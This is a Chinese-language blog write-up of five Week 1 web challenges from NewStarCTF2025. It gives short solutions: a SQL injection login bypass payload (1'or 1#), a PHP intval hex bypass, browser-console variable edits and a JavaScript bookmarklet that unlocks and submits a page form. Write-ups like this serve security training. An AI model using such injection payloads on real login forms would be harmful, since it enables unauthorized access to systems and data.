NewStarCTF2025-Week1-Web

优质文章学习记录

07 Apr 2026 — 5 min read

可能是第一周大佬们都不屑于打吧哈哈哈

简单写下 web 的

1、multi-headach3

结合题目暗示，存在robots.txt

访问hidden.php但是发现被重定向到了index.php

看一下详细的包：

Flag 在响应头

2、strange_login

考察sql注入的万能密码

Payload：

用户名：1'or 1#

密码可以随便输

登录成功即可看到 flag

3、宇宙的中心是php

右键、F12、ctrl+U这些都被禁用

通过开发人员工具打开

看到注释：

访问s3kret.php

Intval特性的绕过

该函数的原型：

int intval ( mixed $var [, int $base = 10 ] )

如果 base 是 0，通过检测 var 的格式来决定使用的进制

方法很多，这里采用十六进制绕过

Payload：newstar2025=0x2f

4、别笑，你也过不了第二关

第二关的目标分数：1000000

在endLevel()函数中，有两个判断

一个是对score的判断，一个是对currentLevel的判断

我们在控制台修改来满足条件：

score = 1000000;

currentLevel = 1 //因为一共就两关，currentLevel从0开始的

然后调用endLevel()函数

5、我真得控制你了

看不了源码

抓包看看

解除限制

javascript:(()=>{try{document.getElementById('shieldOverlay')?.remove();document.getElementById('accessButton')?.classList.add('active');document.getElementById('accessButton').disabled=false;const f=document.getElementById('nextLevelForm');if(f){fetch(f.action||'/next-level.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:new URLSearchParams(Object.fromEntries(Array.from(f.querySelectorAll('input')).map(i=>[i.name,i.value]))).toString()}).then(r=>r.text()).then(t=>alert('server returned:\\n'+t)).catch(e=>alert('fetch failed: '+e))}else alert('no form found')}catch(e){alert('error: '+e)}})();